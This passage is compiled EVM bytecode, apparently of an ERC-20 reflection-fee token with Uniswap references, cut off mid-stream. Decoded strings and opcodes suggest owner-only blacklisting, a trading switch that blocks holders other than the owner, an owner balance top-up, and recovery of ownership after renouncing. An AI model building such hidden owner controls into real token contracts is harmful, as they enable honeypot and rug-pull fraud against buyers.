ffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b611f87613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612047576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60018110158015612059575060318111155b6120cb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f7461784665652073686f756c6420626520696e2031202d20343900000000000081525060200191505060405180910390fd5b8060128190555050565b6120dd613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461219d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b612249613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612309576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b612430613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146124f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6125a9613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612669576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612786576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f6f776e6572206973207a65726f2061646472657373000000000000000000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6127f2613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146128b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61290d600c54600460006128c4613129565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b7590919063ffffffff16565b60046000612919613129565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060108054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612a705780601f10612a4557610100808354040283529160200191612a70565b820191906000526020600020905b815481529060010190602001808311612a5357829003601f168201915b5050505050905090565b6000612b3d612a87613129565b84612b38856040518060600160405280602581526020016142e46025913960056000612ab1613129565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8a9092919063ffffffff16565b613131565b6001905092915050565b612b4f613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612c0f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60018110158015612c21575060318111155b612c93576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f6d61726b6574696e674665652073686f756c6420626520696e2031202d20313181525060200191505060405180910390fd5b8060138190555050565b6000601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000612cdb612cd4613129565b8484613328565b6001905092915050565b612ced613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612dad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b612e10613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612ed0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60018110158015612ee2575060318111155b612f54576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f6c69717569646974794665652073686f756c6420626520696e2031202d20313181525060200191505060405180910390fd5b8060148190555050565b6000601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080831415613022576000905061308f565b600082840290508284828161303357fe5b041461308a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806141a56021913960400191505060405180910390fd5b809150505b92915050565b60006130d783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613c78565b905092915050565b600061312183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613a8a565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156131b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806142606024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561323d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806141316022913960400191505060405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156133ae576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061423b6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613434576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806140e46023913960400191505060405180910390fd5b6000811161348d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806141ee6029913960400191505060405180910390fd5b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061352e5750600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156135855760008114613584576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526000815260200160200191505060405180910390fd5b5b60011515600a60009054906101000a900460ff16151514806135d957506135aa6129af565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8061361657506135e76129af565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15613a2057600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156136be5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156138715761372f8160405180606001604052806026815260200161415360269139600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8a9092919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506137c481600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b7590919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3613a1b565b6138dd8160405180606001604052806026815260200161415360269139600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8a9092919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061397281600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b7590919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35b613a85565b60011515600a60009054906101000a900460ff16151514613a84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526000815260200160200191505060405180910390fd5b5b505050565b6000838311158290613b37576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015613afc578082015181840152602081019050613ae1565b50505050905090810190601f168015613b295780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000806000613b57613d3e565b91509150613b6e818361309590919063ffffffff16565b9250505090565b600080828401905083811015613bf3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000806000806000806000806000613c2e8a601254613c29601454601354613b7590919063ffffffff16565b613fef565b9250925092506000613c3e613b4a565b90506000806000613c508e8786614085565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60008083118290613d24576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015613ce9578082015181840152602081019050613cce565b50505050905090810190601f168015613d165780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581613d3057fe5b049050809150509392505050565b6000806000600b549050600069152d02c7e14af6800000905060005b600980549050811015613fa257826002600060098481548110613d7957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180613e605750816003600060098481548110613df857fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15613e7f57600b5469152d02c7e14af680000094509450505050613feb565b613f086002600060098481548110613e9357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846130df90919063ffffffff16565b9250613f936003600060098481548110613f1e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836130df90919063ffffffff16565b91508080600101915050613d5a565b50613fc269152d02c7e14af6800000600b5461309590919063ffffffff16565b821015613fe257600b5469152d02c7e14af6800000935093505050613feb565b81819350935050505b9091565b60008060008061401b606461400d888a61300f90919063ffffffff16565b61309590919063ffffffff16565b905060006140456064614037888b61300f90919063ffffffff16565b61309590919063ffffffff16565b9050600061406e87614060858c6130df90919063ffffffff16565b6130df90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061409e858861300f90919063ffffffff16565b905060006140b5868861300f90919063ffffffff16565b905060006140cc82846130df90919063ffffffff16565b90508281839550955095505050509350935093905056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63656d61785478416d6f756e742073686f756c642062652067726561746572207468616e20746f74616c20316539536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f57652063616e206e6f7420626c61636b6c69737420556e697377617020726f757465722e45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573736e756d546f6b656e7353656c6c546f416464546f4c69717569646974792073686f756c642062652067726561746572207468616e20746f74616c2031653957652063616e206e6f74206578636c75646520556e697377617020726f757465722e45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212200b8277c9cd75698fd05fed988c68ca0f478c2c13d7f5a968c869604e9ba78a7364736f6c63430007000033416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e73536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f770000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f

Deployed Bytecode

0x6080604052600436106102295760003560e01c806360a6f45a116101235780638da5cb5b116100ab578063a9059cbb1161006f578063a9059cbb14610c19578063af9549e014610c8a578063bcd6d44614610ce7578063cbc740aa14610d22578063dd62ed3e14610d6357610230565b80638da5cb5b14610a5b57806395d89b4114610a9c578063a457c2d714610b2c578063a52fe9bb14610b9d578063a55626cb14610bd857610230565b80637a997d7e116100f25780637a997d7e1461090e5780637ded4d6a14610975578063880ad0af146109c657806388a659bc146109dd57806388f82020146109f457610230565b806360a6f45a146107f057806370a0823114610841578063715018a6146108a657806377dd50e3146108bd57610230565b8063313ce567116101b15780634549b039116101755780634549b039146106755780634a74bb02146106d057806352390c02146106fd5780635342acb41461074e5780635880b873146107b557610230565b8063313ce5671461051d5780633685d4191461054b578063373f0a041461059c57806339509351146105b35780634303443d1461062457610230565b80631bbae6e0116101f85780631bbae6e01461038c5780631decaadc146103c757806323b872dd146104025780632d8381191461049357806330599fc5146104e257610230565b806306fdde0314610235578063095ea7b3146102c557806313114a9d1461033657806318160ddd1461036157610230565b3661023057005b600080fd5b34801561024157600080fd5b5061024a610de8565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561028a57808201518184015260208101905061026f565b50505050905090810190601f1680156102b75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102d157600080fd5b5061031e600480360360408110156102e857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e8a565b60405180821515815260200191505060405180910390f35b34801561034257600080fd5b5061034b610ea8565b6040518082815260200191505060405180910390f35b34801561036d57600080fd5b50610376610eb2565b6040518082815260200191505060405180910390f35b34801561039857600080fd5b506103c5600480360360208110156103af57600080fd5b8101908080359060200190929190505050610ec4565b005b3480156103d357600080fd5b50610400600480360360208110156103ea57600080fd5b8101908080359060200190929190505050610ff3565b005b34801561040e57600080fd5b5061047b6004803603606081101561042557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611122565b60405180821515815260200191505060405180910390f35b34801561049f57600080fd5b506104cc600480360360208110156104b657600080fd5b81019080803590602001909291905050506111fb565b6040518082815260200191505060405180910390f35b3480156104ee57600080fd5b5061051b6004803603602081101561050557600080fd5b810190808035906020019092919050505061127f565b005b34801561052957600080fd5b5061053261136e565b604051808260ff16815260200191505060405180910390f35b34801561055757600080fd5b5061059a6004803603602081101561056e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611385565b005b3480156105a857600080fd5b506105b161170f565b005b3480156105bf57600080fd5b5061060c600480360360408110156105d657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611831565b60405180821515815260200191505060405180910390f35b34801561063057600080fd5b506106736004803603602081101561064757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118e4565b005b34801561068157600080fd5b506106ba6004803603604081101561069857600080fd5b8101908080359060200190929190803515159060200190929190505050611aa0565b6040518082815260200191505060405180910390f35b3480156106dc57600080fd5b506106e5611b5f565b60405180821515815260200191505060405180910390f35b34801561070957600080fd5b5061074c6004803603602081101561072057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b76565b005b34801561075a57600080fd5b5061079d6004803603602081101561077157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f29565b60405180821515815260200191505060405180910390f35b3480156107c157600080fd5b506107ee600480360360208110156107d857600080fd5b8101908080359060200190929190505050611f7f565b005b3480156107fc57600080fd5b5061083f6004803603602081101561081357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506120d5565b005b34801561084d57600080fd5b506108906004803603602081101561086457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506121f8565b6040518082815260200191505060405180910390f35b3480156108b257600080fd5b506108bb612241565b005b3480156108c957600080fd5b5061090c600480360360208110156108e057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612428565b005b34801561091a57600080fd5b5061095d6004803603602081101561093157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061254b565b60405180821515815260200191505060405180910390f35b34801561098157600080fd5b506109c46004803603602081101561099857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506125a1565b005b3480156109d257600080fd5b506109db6126c4565b005b3480156109e957600080fd5b506109f26127ea565b005b348015610a0057600080fd5b50610a4360048036036020811015610a1757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612959565b60405180821515815260200191505060405180910390f35b348015610a6757600080fd5b50610a706129af565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610aa857600080fd5b50610ab16129d8565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610af1578082015181840152602081019050610ad6565b50505050905090810190601f168015610b1e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610b3857600080fd5b50610b8560048036036040811015610b4f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612a7a565b60405180821515815260200191505060405180910390f35b348015610ba957600080fd5b50610bd660048036036020811015610bc057600080fd5b8101908080359060200190929190505050612b47565b005b348015610be457600080fd5b50610bed612c9d565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610c2557600080fd5b50610c7260048036036040811015610c3c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612cc7565b60405180821515815260200191505060405180910390f35b348015610c9657600080fd5b50610ce560048036036040811015610cad57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050612ce5565b005b348015610cf357600080fd5b50610d2060048036036020811015610d0a57600080fd5b8101908080359060200190929190505050612e08565b005b348015610d2e57600080fd5b50610d37612f5e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610d6f57600080fd5b50610dd260048036036040811015610d8657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612f88565b6040518082815260200191505060405180910390f35b6060600f8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e805780601f10610e5557610100808354040283529160200191610e80565b820191906000526020600020905b815481529060010190602001808311610e6357829003601f168201915b5050505050905090565b6000610e9e610e97613129565b8484613131565b6001905092915050565b6000600d54905090565b600069152d02c7e14af6800000905090565b610ecc613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f8c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b633b9aca00811015610fe9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180614179602c913960400191505060405180910390fd5b80601c8190555050565b610ffb613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b633b9aca00811015611118576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603e815260200180614284603e913960400191505060405180910390fd5b80601d8190555050565b600061112f848484613328565b6111f08461113b613129565b6111eb856040518060600160405280602881526020016141c660289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006111a1613129565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8a9092919063ffffffff16565b613131565b600190509392505050565b6000600b54821115611258576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180614107602a913960400191505060405180910390fd5b6000611262613b4a565b9050611277818461309590919063ffffffff16565b915050919050565b611287613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611347576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b611359306113536129af565b83613131565b61136b306113656129af565b83613328565b50565b6000601160009054906101000a900460ff16905090565b61138d613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461144d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661150c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b60005b60098054905081101561170b578173ffffffffffffffffffffffffffffffffffffffff166009828154811061154057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156116fe5760096001600980549050038154811061159c57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600982815481106115d457fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060098054806116c457fe5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055905561170b565b808060010191505061150f565b5050565b611717613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60011515600a60009054906101000a900460ff1615151415611813576000600a60006101000a81548160ff02191690831515021790555061182f565b6001600a60006101000a81548160ff0219169083151502179055505b565b60006118da61183e613129565b846118d5856005600061184f613129565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b7590919063ffffffff16565b613131565b6001905092915050565b6118ec613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611a45576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806142176024913960400191505060405180910390fd5b6001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600069152d02c7e14af6800000831115611b22576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f416d6f756e74206d757374206265206c657373207468616e20737570706c790081525060200191505060405180910390fd5b81611b42576000611b3284613bfd565b5050505050905080915050611b59565b6000611b4d84613bfd565b50505050915050809150505b92915050565b6000600a60009054906101000a900460ff16905090565b611b7e613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c3e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611cd7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806142c26022913960400191505060405180910390fd5b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611d97576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b6000600260008373ff